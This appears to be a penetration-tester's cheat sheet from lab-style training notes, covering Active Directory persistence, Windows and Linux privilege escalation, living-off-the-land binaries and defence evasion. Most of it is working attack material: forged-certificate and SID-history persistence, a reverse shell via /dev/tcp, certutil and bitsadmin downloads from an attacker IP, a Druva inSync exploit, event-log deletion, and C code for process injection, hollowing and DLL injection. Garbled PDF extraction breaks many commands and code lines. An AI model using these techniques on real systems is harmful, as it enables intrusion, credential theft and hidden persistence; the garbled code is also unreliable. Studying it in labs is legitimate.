ForgeCert.exe --CaCertPath za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAl

SubjectAltName

User Principal Name (UPN) of the account we want to impersonate and have to be a legitimate user.

Now finish off with using the certificate with Rubeus

Serious persistence

Since we exported the CA and generated the certificate ourselves, it does not appear on AD CS's list of issued
certificates, meaning the blue team will not be able to revoke our certificate. So what's the only solution to remove the
persistence? Well, this is why we are no longer friends. They will have to revoke the root CA certificate. But revoking this
certificate means that all certificates issued by AD CS would all of a sudden be invalid.

SID History
Prerequisites: Domain Admin or equivalent

Get SID History:

Get-ADUser USERNAME -Properties sidhistory,memberof

Get SID of "Domain Admins":

Get-ADGroup "Domain Admins"


Add SID History: Tool: DSInternals Edit ntds.dit (AD database):

Stop-Service -Name ntds -Force


Add-ADDBSidHistory -SamAccountName 'USERNAME' -SidHistory 'SID' -DatabasePath C:\Windows\NTDS\ntds
Start-Service -Name ntds

Sneaky

This will be very sneaky since the only way to remove it is through powershell AND finding it in the first place can only
be done by actively checking SID history. Credential rotation may however remove our persistence if we cannot regain
the access.

Nesting Group Membership


Recommended groups to persist:

IT Support

Groups with Local Admin

Group with ownership over GPOs

Subgroups (less likely to be monitored) - see bellow

Nesting:

domain_admins
└── group_1
└── group_2
└── group_3
└── user

Add group & add user/group:

New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "Group 1" -SamAccountN

# Note that identity is the "SamAccountName"


Add-ADGroupMember -Identity "Domain Admins" -Members "group1"

Breaks AD structure

In real life situations we would use existing groups and not create new ones - but this will destroy the AD-structure and
should not be done during an assessment
ACL Persistence
Basics

AdminSDHolder is a template that exists in every AD. Its ACL is used as a template to copy permissions to all
https://docs.microsoft.com/en-us/previous-versions/technet-magazine/ee361593(v=msdn.10">protected groups>).
SDProp applies the ACL of AdminSDHolder every 60 minuts

> Require RDP to access MMCIn MMC:

[!tip] Use runas if currently on a lower priv user

1. File->Add Snap-In->Active Directory Users and Groups->View->Advanced Features->Domain->System-


>AdminSDHolder

2. Go to security properties

3. Add->Search for user->Allow on Full Control

Persist anywhere

grant full control to the Domain Users group in the AdminSDHolder group, which means any low-privileged user would
be granted full control over all Protected Groups. Combining this with a full DC Sync means the blue team will have to
reset every single credential in the domain to flush us out completely.

GPO Persistence

Restricted Group Membership


This could allow us administrative access to all hosts in the domain by adding our group in the Administrator and Remote
Desktop Users

In MMC:

1. Add Snap-in->Group Policy Management

2. Servers->Management Servers->Management Server Pushes->Edit

3. Computer Configuration->Policies->Windows Settings->Security Settings->Restricted Groups->Add Group

4. Now add the group to be a member of: Administrators & Remote Desktop Users

Logon Script Deployment


This will ensure that we get a shell callback every time a user authenticates to a host in the domain.
1. Create malware:

Example

Payload:

Example

Trojan/Enabler:

Example

1. Transfer to victim machine

2. GPO Creation:
1. File->Add snap-in->Group Policy Management

2. Default Domain Policy (or any other group/OU you want persistence on)->Right Click->Create a GPO in this domain

3. Right Click the policy->Enforced

4. User Configuration->Policies->Windows Settings->Scripts->Logon->Properties->Scripts tab->Add->Browse->Select


.bat file

5. Go back to mmc->Right Click ENTERPRISE DOMAIN CONTROLLERS->Edit Settings, delete, modify security-> Click on
all groups except Authenticated Users and Remove->Advanced->Remove Created Owner from permissions

6. LAST STEP, change the read permission to computers so that users cannot read the policy: Add->Domain Computers-
>Check Names OK->Read permissions OK->Authenticated Users->Remove (NOTE: cannot edit the policy after this)

Sneaky

Due to it hiding the policy from the users - you need to first impersonate the DC machine acount to read it

Other
Skeleton keys - Using Mimikatz, we can deploy a skeleton key. Mimikatz created a default password that will work for
any account in the domain. Normal passwords will still work, making it hard to know that this attack has taken place. This
default password can be used to impersonate any account in the domain.

Directory Service Restore Mode (DSRM) - Domain controllers have an internal break glass administrator account called
the DSRM account. This password is set when the server is promoted to a DC and is seldom changed. This password is
used in cases of emergencies to recover the DC. An attacker can extract this password using Mimikatz and use this
password to gain persistent administrative access to domain controllers in the environment.

Malicious Security Support Provider (SSP) - Exploiting the SSP interface, it is possible to add new SSPs. We can add
Mimikatz's mimilib as an SSP that would log all credentials of authentication attempts to a file. We can specify a network
location for logging, which would allow mimilib to send us credentials as users authenticate to the compromised host,
providing persistence.

Computer Accounts - The passwords for machine accounts are normally rotated every 30 days. However, we can alter
the password of a machine account which would stop the automatic rotation. Together with this, we can grant the
machine account administrative access to other machines. This will allow us to use the computer account as a normal
account, with the only sign of the persistence being the fact that the account has administrative rights over other hosts,
which is often normal behaviour in AD, so that it may go undetected.

Cloud Persistence
All can be modified for persistence
VMs

Functions

Containers

IAM is a common way to retain persistence


Users usually are only allowed two keys

aws iam list-users # Enumerate users


aws iam list-access-keys --user-name jsmith # List user key/count
aws iam create-access-key --user-name jsmith # Create new keys

📈 Privilege Escalation (TA0004)


Abuse permissions: Windows
Windows uses token-based permissions and applied (usually by lsass.exe) when users log in/authenticate.

This access token consists of:

User SIDs (security identifier)

Group SIDs

Privileges

And more...

Two types of access tokens:

Primary access tokens: those associated with a user account that are generated on log on
Impersonation tokens: these allow a particular process (or thread in a process) to gain access to resources using the
token of another (user/client) process. Think similar to how SUID-bits work in Linux. Levels of impersonation token:
SecurityAnonymous: current user/client cannot impersonate another user/client

SecurityIdentification: current user/client can get the identity and privileges of a client but cannot impersonate the
client

SecurityImpersonation: current user/client can impersonate the client's security context on the local system

SecurityDelegation: current user/client can impersonate the client's security context on a remote system

Distinguish impersonated token to primary

Even though you have a higher privileged token, you may not have the permissions of a privileged user (this is due to
the way Windows handles permissions - it uses the Primary Token of the process and not the impersonated token to
determine what the process can or cannot do).

Here are the most commonly abused privileges:

SeImpersonatePrivilege

SeAssignPrimaryPrivilege

SeTcbPrivilege

SeBackupPrivilege

SeRestorePrivilege

SeCreateTokenPrivilege

SeLoadDriverPrivilege

SeTakeOwnershipPrivilege

SeDebugPrivilege

There's more reading here.

Always Install Elevated


Prerequisites:

# If following is set to true


reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Run malicious payload:

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi


Services
Look for overly permissive binaries ( icacls )

Unquoted paths

Permission to change the service ( accesschk )

Take Ownership
Prerequisites:

whoami /priv
SeChangeNotifyPrivilege Bypass traverse checking Enabled

> Title:Example LOL tool

For this example we will use the built in utilman.exe , GUI to open Easy of Access on lock screene - done as system

takeown /f C:\Windows\System32\Utilman.
C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.
C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
C:\Windows\System32\cmd.
copy C:\Windows\System32\cmd .exe C:\Windows\System32\Utilman
C:\Windows\System32\Utilman..exe

Now we can use the GUI and a system shell will spawn

RogueWinRM.exe
Prerequisites:

whoami /priv
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
# or
SeImpersonatePrivilege Impersonate a client after authentication Enabled

Upload RogueWinRM.exe to target machine, then:

RogueWinRM.exe -p "C:
"C:\t
\tools
ools\n
\nc64.exe"
c64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

Evil-WinRM

evil-winrm -i 10.10
10.10.126.100
.126.100 -u thmuser1 -p Password321
hklm\
reg save hklm \system system.bak
reg save hklm
hklm\\sam sam.bak
download system.bak
download sam.bak

# Connect back as admin with pass-the-hash


evil-winrm -i 10.10
10.10.126.100
.126.100 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3

Generate hash

Use secretsdump.py to dump hashes

Abusive permissions: Linux


List permissions:

sudo -l

SUID-, SGID-, Sticky-bits:

Permission On Files On Directories

User executes the file with permissions of the file


SUID Bit -
owner

User executes the file with the permission of the File created in directory gets the same group
SGID Bit
group owner. owner.
Permission On Files On Directories

Users are prevented from deleting files from


Sticky Bit No meaning
other users.

Check SUID bits:

find / -perm /4000 2>/dev/null

/ - start looking recursivly from the root directory

-perm - specify file permission we are looking for

/4000 - list all files with the SUID bit active

2>/dev/nul - remove all errors from STDOUT (screen)

Abuse binaries without full-path

Example

Let's say a binary with SUID-bit active (root owner) runs ifconfig and not /usr/sbin/ifconfig .

Replace ifconfig with bash in $PATH:

echo /bin/bash > ifconfig


chmod 777 ifconfig
PATH=
export PATH=<this-path
this-path>>/:
/:$PATH
$PATH

SETUID shell
File with the setuid-bit set will run with priv of the owner - not the current user

1. Find SETUID shell: find / -uid 0 -type f -perm -4000 2>/dev/null

2. Create backdoor with SETUID:

cp /bin/sh /tmp/backdoor
sudo chown root:root /tmp/backdoor
sudo chmod 4755 /tmp/backdoor
/tmp/backdoor -p
Services
Prerequisites:

Run systemctl as root for privesc

Service]
[Service ]
Type=
Type=simple
User=
User=root
ExecStart=
ExecStart =/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'

Install]
[Install ]
WantedBy=
WantedBy=multi-user.target

systemctl enable /tmp/malicious.service


systemctle start malicious.service

----------------------------------- OR -----------------------------------

TF=
TF =$(
$(mktemp
mktemp)
).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c “chmod +s /bin/bash”
[Install]
WantedBy=multi-user.target' > $TF
./systemctl link $TF
./systemctl enable --now $TF
bash -p

Software
Enumerate software:

wmic product get name,


name,version
version,
,vendow

Druva inSync 6.6.3

$ErrorActionPreference = "Stop"

$cmd = "net user mgraccount SimplePass123 /add & net localgroup administrators mgraccount /add"

$s = New-Object System.
System.Net.
Net.Sockets.
Sockets.Socket(
Socket(
::InterNetwork,
[System.Net.Sockets.AddressFamily]::InterNetwork ,
::Stream,
[System.Net.Sockets.SocketType]::Stream ,
[System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")


$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

Scanners

WinPEAS
Github: https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

LinPEAS
Github: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

PrivescCheck
Github: https://github.com/itm4n/PrivescCheck

Prerequisites

PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force


PS C:\> . .\PrivescCheck.
\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck

PowerUp (part of PowerSploit)

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

Looks through common miss configurations within windows for easy privilege escalation.

WES-NG: Windows Exploit Suggester - Next Generation


Github: https://github.com/bitsadmin/wesng

Before running:

wes.py --update

Metasploit - Scanner

use multi/recon/local_exploit_suggester

Cloud Elevation
The goal - access to obtain data from cloud asset

Privesc:
Add user to new group with more privilege?

Inherited policy with excessive privileges?

Third party API:s?

Attach privileged policy to user or group?

What to look for when elevated:


Cloud storage, database, key storage

VM:s, backups, snapshots

User services
Google Drive

OneDrive

Email

Exfiltrate:
Direct download, or

Exported to intermediate storage (buckets), then retrieve

Tools for google cloud:


gcloud

gsutil

Azure Post Exploit


M365 Compliance Search
Need to be member of eDiscovery Manager role group

Examples:
attachmentnames:annualreport

subject:"payment"

contenttype:spreadsheet AND created <=09/01/2021 AND (finance OR payment)

Pacu Framework
Metasploit for AWS

🥷🏽 Defence Evasion (TA0005)


🏕️ Living Of the Land (LOL)
Always match to LOLBAS

The examples are general, check the LOLBAS/GTFOBins database for more correct use and additional exploitation
[!warning] Match the OS architecture with payload Note that the 32-bit executables are located in
C:\Windows\System32\ and the 64-bits in C:\SysWOW64\ - with that you also need to match the payload
architecture to the executable.

LOLBAS
Source: https://lolbas-project.github.io/#

Types (#):

Script

Binary

Libraries

OtherMSBinaries

GTFOBins
Source: https://gtfobins.github.io/

Types (+):

Shell
Reverse shell

Bind shell

File upload

File write

Library load

Sudo

Limited SUID

Bash(.exe)
Use case:

AWL-bypass

execution

Signed binary and known as WSL. Can be used to execute binaries:

bash.
bash.exe -c calc.
calc.exe

BITSAdmin
Use case:

downloader

execution

Download in foreground (HTTP/SMB):

bitsadmin.
bitsadmin.exe /transfer /Download /priority Foreground http:/
http://Attacker_IP/payload.
Attacker_IP/payload.exe c:\Users\thm

Certutil
Use case:

downloader

encoder

Download files:

certutil -URLcache -split -f http:/


http://attacker_ip/payload
attacker_ip/payload..exe C:\Windows\Temp\payload.
C:\Windows\Temp\payload.exe

Encoding / Decoding:
payload.
certutil -[encode / decode] payload.exe Encoded-payload.
Encoded-payload.txt

Explorer
Use case:

execution

Execute program:

explorer.
explorer.exe /root
root,
,"C:\Windows\System32\calc.exe"

FindStr
Use case:

downloader

Download SMB:

findstr /V dummystring \\MachineName\ShareFolder\test.


\\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.
c:\Windows\Temp\test.exe

Msbuild
Use case:

execution

AWL-bypass

Build and execute a C# project stored in the target csproj file:

msbuild.
msbuild .exe project.
project.csproj

PowerLessShell

Can be used in combination with PowerLessShell to generate a payload which will execute malicious code without
showing an instance of the PowerShell process

Net
Use case:

enumeration

persistence
AD

Network and AD Enumeration

List all users: net user /domain


Detailed information: net user /domain

List all groups: net group /domain


Detailed information: net group /domain

Password policy: net accounts /domain

View current and active shares: net use / net share

Access drive: z:

Create Administrator account:


net user username password /add

net localgroup administrators username /add

Delete user: net user username /delete

Map local drive of remote target C$ (require admin): net use * \\target\C$ password /u:targetIP\username

Delete session: net use * /d /y

InstallUtil
Use case:

execution

A PowerShell command which installs and uninstalls programs

Having malicious code in the uninstall function and uninstalling the program will execute the malicious code

Regsvr32
Use case:

AWL-bypass

execution

Executes DLL in memory to avoid AWL:

C:\Users\thm> c:\Windows\System32\regsvr32.
c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.
c:\Users\thm\Downloads\live0fftheland.dll

C:\Users\thm> c:\Windows\System32\regsvr32.
c:\Windows\System32\regsvr32.exe /s /n /u /i:http:
i:http:///example
example..com/file
com/file.
.sct Downloads\l
Rundll32
Use case:

execution

ADS

Execute JS and PS scripts

JavaScript:

rundll32.
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication
javascript:"\..\mshtml.dll,RunHTMLApplication ";
";eval
eval(
("w=new ActiveXObject(\"WScript
ActiveXObject(\"WScript..S

PowerShell:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WSc

Shortcuts
Use case:

execution

Change the target of the symbolic link.

WMIC
Use case:

execution

enumeration

ADS

Create process of a binary:

wmic.
wmic.exe process call create calc

Combine with ADS

You can also execute ADS by adding calc:executable.exe

Enumerate:

wmic useraccount get name,


name,sid
wmic product get name,
name,version
version,
,vendow

Alternate Data Streams (ADS)


Feature of NTFS/ReFS: Mutliple data streams can be attached to each file/directory
Stays with copy/move

Create ADS with type , wmic or Get-Content (CMD or PS)

wmic process call create C:\Windows\System32\calc.


C:\Windows\System32\calc.exe:nc
exe:nc.
.exe

Windows Log Editing


Require admin access.

1. Delete the current log record with DeleteRecordofFileEx.exe Security.evtx id_of_event . This also creates a
temp.evtx in the current directory.

2. Stop the eventlog to replace the logfile:

sc config eventlog start= disabled


net stop eventlog
sc query eventlog

3. Now overwrite the Security log:

\temp.
Copy-Item .\temp .evtx C:\Windows\System32\winevt\Logs\Security.
C:\Windows\System32\winevt\Logs\Security.evtx

4. Now start the service again with same commands as 2. (replace stop with start)

Process Injection
1. Open a target process with all access rights.

2. Allocate target process memory for the shellcode.

3. Write shellcode to allocated memory in the target process.

4. Execute the shellcode using a remote thread.

E.g.:

OpenProcess(
processHandle = OpenProcess (
PROCESS_ALL_ACCESS,
PROCESS_ALL_ACCESS , // Defines access rights
FALSE,
FALSE , // Target handle will not be inhereted
DWORD(
DWORD (atoi
atoi((argv
argv[
[1])) // Local process supplied by command-line arguments
);

VirtualAllocEx(
remoteBuffer = VirtualAllocEx (
processHandle,
processHandle , // Opened target process
NULL,
NULL,
shellcode,
sizeof shellcode , // Region size of memory allocation
MEM_COMMIT)
(MEM_RESERVE | MEM_COMMIT ), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

WriteProcessMemory(
WriteProcessMemory (
processHandle,
processHandle , // Opened target process
remoteBuffer,
remoteBuffer, // Allocated memory region
shellcode,
shellcode , // Data to write
shellcode,
sizeof shellcode , // byte size of data
NULL
);

CreateRemoteThread(
remoteThread = CreateRemoteThread (
processHandle,
processHandle , // Opened target process
NULL,
NULL,
0, // Default size of the stack
LPTHREAD_START_ROUTINE)
(LPTHREAD_START_ROUTINE )remoteBuffer
remoteBuffer,, // Pointer to the starting address of the thread
NULL,
NULL,
0, // Ran immediately after creation
NULL
);

Process Hollowing
1. Create a target process in a suspended state.

2. Open a malicious image.

3. Un-map legitimate code from process memory.

4. Allocate memory locations for malicious code and write each section into the address space.

5. Set an entry point for the malicious code.

6. Take the target process out of a suspended state.

LPSTARTUPINFOA target_si = new STARTUPINFOA


STARTUPINFOA(
(); // Defines station, desktop, handles, and appearanc
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION
PROCESS_INFORMATION(
(); // Information about the process and
c;
CONTEXT c ; // Context structure pointer

CreateProcessA(
if (CreateProcessA (
(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
NULL,
NULL,
NULL,
TRUE, // Handles are inherited from the calling process
CREATE_SUSPENDED, // New process is suspended
NULL,
NULL,
target_si, // pointer to startup info
target_pi) </b> 0) { // pointer to process information
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;

HANDLE hMaliciousCode = CreateFileA


CreateFileA(
(
LPCSTR)
(LPCSTR )"C:\\\\Users\\\\tryhackme\\\\malware.exe"
"C:\\\\Users\\\\tryhackme\\\\malware.exe",, // Name of image to obtain
GENERIC_READ,
GENERIC_READ , // Read-only access
FILE_SHARE_READ,
FILE_SHARE_READ, // Read-only share mode
NULL,
NULL,
OPEN_EXISTING,
OPEN_EXISTING , // Instructed to open a file or device if it exists
NULL,
NULL,
NULL
);

DWORD maliciousFileSize = GetFileSize


GetFileSize(
(
hMaliciousCode,
hMaliciousCode , // Handle of malicious image
0 // Returns no error
);

PVOID pMaliciousImage = VirtualAlloc


VirtualAlloc(
(
NULL,
NULL,
maliciousFileSize,
maliciousFileSize, // File size of malicious image
0x3000,
0x3000 , // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x04 // Enables read/write access (PAGE_READWRITE)
);

DWORD numberOfBytesRead;
numberOfBytesRead; // Stores number of bytes read

if (!ReadFile
ReadFile(
(
hMaliciousCode,
hMaliciousCode , // Handle of malicious image
pMaliciousImage,
pMaliciousImage , // Allocated region of memory
maliciousFileSize,
maliciousFileSize, // File size of malicious image
numberOfBytesRead,
&numberOfBytesRead , // Number of bytes read
NULL
)) {
cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError
<<GetLastError(()<< endl;
endl;
TerminateProcess(
TerminateProcess (target_pi
target_pi->
->hProcess
hProcess,
, 0);
return 1;
}

CloseHandle(
CloseHandle (hMaliciousCode
hMaliciousCode));

c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer


GetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to store retrieved context
); // Obtains the current thread context

PVOID pTargetImageBaseAddress;
ReadProcessMemory(
target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
(PVOID)(c.Ebx + 8), // Pointer to the base address
&pTargetImageBaseAddress, // Store target base address
sizeof(PVOID), // Bytes to read
0 // Number of bytes out
);

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll


pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
hNtdllBase, // Handle of ntdll
"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdll

DWORD dwResult = pZwUnmapViewOfSection(


target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress // Base address of the process
);

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER


PIMAGE_DOS_HEADER))pMaliciousImage
pMaliciousImage;; // Obtains the DOS header from
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS
PIMAGE_NT_HEADERS))((LPBYTE
LPBYTE))pMaliciousImage + pDOSHeader
pDOSHeader->
->e_lfanew
e_lfanew)
)

DWORD sizeOfMaliciousImage = pNTHeaders


pNTHeaders->
->OptionalHeader
OptionalHeader..SizeOfImage
SizeOfImage;; // Obtains the size of the op

PVOID pHollowAddress = VirtualAllocEx


VirtualAllocEx(
(
target_pi->
target_pi ->hProcess
hProcess,
, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress,
pTargetImageBaseAddress , // Base address of the process
sizeOfMaliciousImage,
sizeOfMaliciousImage , // Byte size obtained from optional header
0x3000,
0x3000 , // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);
if (!WriteProcessMemory(
target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
pTargetImageBaseAddress, // Base address of the process
pMaliciousImage, // Local memory where the malicious file resides
pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers
NULL
)) {
cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

for (int i = 0; i < pNTHeaders


pNTHeaders->
->FileHeader
FileHeader..NumberOfSections
NumberOfSections;
; i
i++
++)
) { // Loop based on number of sec
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER
PIMAGE_SECTION_HEADER))((LPBYTE
LPBYTE))pMaliciousImage + pDOSH

WriteProcessMemory(
WriteProcessMemory (
target_pi->
target_pi ->hProcess
hProcess,, // Handle of the process obtained from the PROCESS_INFORMATION struct
PVOID)
(PVOID )((LPBYTE
LPBYTE))pHollowAddress + pSectionHeader
pSectionHeader->
->VirtualAddress
VirtualAddress)), // Base address of curre
PVOID)
(PVOID )((LPBYTE
LPBYTE))pMaliciousImage + pSectionHeader
pSectionHeader->
->PointerToRawData
PointerToRawData)), // Pointer for conten
pSectionHeader->
pSectionHeader ->SizeOfRawData
SizeOfRawData,
, // Byte size of current section
NULL
);
}

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set

SetThreadContext(
target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
&c // Pointer to the stored context structure
);

ResumeThread(
ResumeThread(
target_pi->
target_pi ->hThread
hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

Process Hijacking
1. Locate and open a target process to control.

2. Allocate memory region for malicious code.

3. Write malicious code to allocated memory.

4. Identify the thread ID of the target thread to hijack.

5. Open the target thread.


6. Suspend the target thread.

7. Obtain the thread context.

8. Update the instruction pointer to the malicious code.

9. Rewrite the target thread context.

10. Resume the hijacked thread.

Similar to basic process injection

Note that the first block is the same as in Process Injection when writing payload to memory

HANDLE hProcess = OpenProcess


OpenProcess(
(
PROCESS_ALL_ACCESS,
PROCESS_ALL_ACCESS , // Requests all possible access rights
FALSE,
FALSE , // Child processes do not inheret parent process handle
processId // Stored process ID
);
PVOIF remoteBuffer = VirtualAllocEx
VirtualAllocEx((
hProcess,
hProcess, // Opened target process
NULL,
NULL,
shellcode,
sizeof shellcode , // Region size of memory allocation
MEM_COMMIT)
(MEM_RESERVE | MEM_COMMIT ), // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
WriteProcessMemory(
WriteProcessMemory (
processHandle,
processHandle , // Opened target process
remoteBuffer,
remoteBuffer, // Allocated memory region
shellcode,
shellcode , // Data to write
shellcode,
sizeof shellcode , // byte size of data
NULL
);

THREADENTRY32 threadEntry;
threadEntry;

HANDLE hSnapshot = CreateToolhelp32Snapshot


CreateToolhelp32Snapshot(( // Snapshot the specificed process
TH32CS_SNAPTHREAD,
TH32CS_SNAPTHREAD , // Include all processes residing on the system
0 // Indicates the current process
);
Thread32First(
Thread32First ( // Obtains the first thread in the snapshot
hSnapshot,
hSnapshot , // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
);

Thread32Next(
while (Thread32Next( // Obtains the next thread in the snapshot
snapshot,
snapshot, // Handle of the snapshot
&threadEntry // Pointer to the THREADENTRY32 structure
)) {

if (threadEntry.th32OwnerProcessID <b> processID) // Verifies both parent process ID's match


{
HANDLE hThread = OpenThread(
THREAD_ALL_ACCESS, // Requests all possible access rights
FALSE, // Child threads do not inheret parent thread handle
threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure p
);
break;
}

SuspendThread(
SuspendThread (hThread
hThread));

CONTEXT context;
context;
GetThreadContext(
GetThreadContext(
hThread,
hThread , // Handle for the thread
&context // Pointer to store the context structure
);

context.
context .Rip = (DWORD_PTR
DWORD_PTR))remoteBuffer
remoteBuffer;; // Points RIP to our malicious buffer allocation

SetThreadContext(
SetThreadContext (
hThread,
hThread , // Handle for the thread
&context // Pointer to the context structure
);

ResumeThread(
ResumeThread(
hThread // Handle for the thread
);

DLL Injection
1. Locate a target process to inject.

2. Open the target process.

3. Allocate memory region for malicious DLL.

4. Write the malicious DLL to allocated memory.

5. Load and execute the malicious DLL.


DWORD getProcessId(const char *processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
TH32CS_SNAPPROCESS, // Include all processes residing on the system
0 // Indicates the current process
);
if (hSnapshot) {
PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
if (Process32First( // Obtains the first process in the snapshot
hSnapshot, // Handle of the snapshot
&entry // Pointer to the PROCESSENTRY32 structure
)) {
do {
if (!strcmp( // Compares two strings to determine if the process name matches
entry.szExeFile, // Executable file name of the current proces
processName // Supplied process name
)) {
return entry.th32ProcessID; // Process ID of matched process
}
} while (Process32Next( // Obtains the next process in the snapshot
hSnapshot, // Handle of the snapshot
&entry
)); // Pointer to the PROCESSENTRY32 structure
}
}

DWORD processId = getProcessId(processName); // Stores the enumerated process ID

HANDLE hProcess = OpenProcess


OpenProcess(
(
PROCESS_ALL_ACCESS,
PROCESS_ALL_ACCESS , // Requests all possible access rights
FALSE,
FALSE , // Child processes do not inheret parent process handle
processId // Stored process ID
);

LPVOID dllAllocatedMemory = VirtualAllocEx


VirtualAllocEx((
hProcess,
hProcess, // Handle for the target process
NULL,
NULL,
strlen(
strlen (dllLibFullPath
dllLibFullPath)), // Size of the DLL path
MEM_COMMIT,
MEM_RESERVE | MEM_COMMIT , // Reserves and commits pages
PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

WriteProcessMemory(
WriteProcessMemory (
hProcess,
hProcess, // Handle for the target process
dllAllocatedMemory,
dllAllocatedMemory , // Allocated memory region
dllLibFullPath,
dllLibFullPath , // Path to the malicious DLL
strlen(
strlen (dllLibFullPath
dllLibFullPath)) + 1, // Byte size of the malicious DLL
NULL
);

LPVOID loadLibrary = (LPVOID


LPVOID)
) GetProcAddress
GetProcAddress((
GetModuleHandle(
GetModuleHandle ("kernel32.dll"
"kernel32.dll")), // Handle of the module containing the call
"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread
CreateRemoteThread((
hProcess,
hProcess, // Handle for the target process
NULL,
NULL,
0, // Default size from the execuatable of the stack
LPTHREAD_START_ROUTINE)
(LPTHREAD_START_ROUTINE ) loadLibrary
loadLibrary,, pointer to the starting function
dllAllocatedMemory,
dllAllocatedMemory , // pointer to the allocated memory region
0, // Runs immediately after creation
NULL
);

Execution alternatives:

Invoke function pointers

void(
((void(*)())addressPointer
addressPointer))();

1. Create a function pointer (void(*)() , outlined in red

2. Cast the allocated memory pointer or shellcode array into the function pointer ()addressPointer) , outlined in yellow

3. Invoke the function pointer to execute the shellcode (); , outlined in green

Asynchronous Procedure Calls

From the Microsoft documentation on Asynchronous Procedure Calls, “An asynchronous procedure call (APC) is a function
that executes asynchronously in the context of a particular thread.”

An APC function is queued to a thread through QueueUserAPC . Once queued the APC function results in a software
interrupt and executes the function the next time the thread is scheduled.

In order for a userland/user-mode application to queue an APC function the thread must be in an “alertable state”. An
alertable state requires the thread to be waiting for a callback such as WaitForSingleObject or Sleep .

Now that we understand what APC functions are let's look at how they can be used maliciously! We will use
VirtualAllocEx and WriteProcessMemory for allocating and writing to memory.

QueueUserAPC(
QueueUserAPC (
PAPCFUNC)
(PAPCFUNC )addressPointer
addressPointer,, // APC function pointer to allocated memory defined by winnt
pinfo.
pinfo .hThread
hThread,, // Handle to thread from PROCESS_INFORMATION structure
ULONG_PTR)
(ULONG_PTR )NULL
);
ResumeThread(
ResumeThread (
pinfo.
pinfo .hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(
WaitForSingleObject (
pinfo.
pinfo .hThread
hThread,, // Handle to thread from PROCESS_INFORMATION structure
INFINITE // Wait infinitely until alerted
);

Shellcode binaries
Source: https://tryhackme.com/room/avevasionshellcode

Generate shellcode

Staged vs Stageless

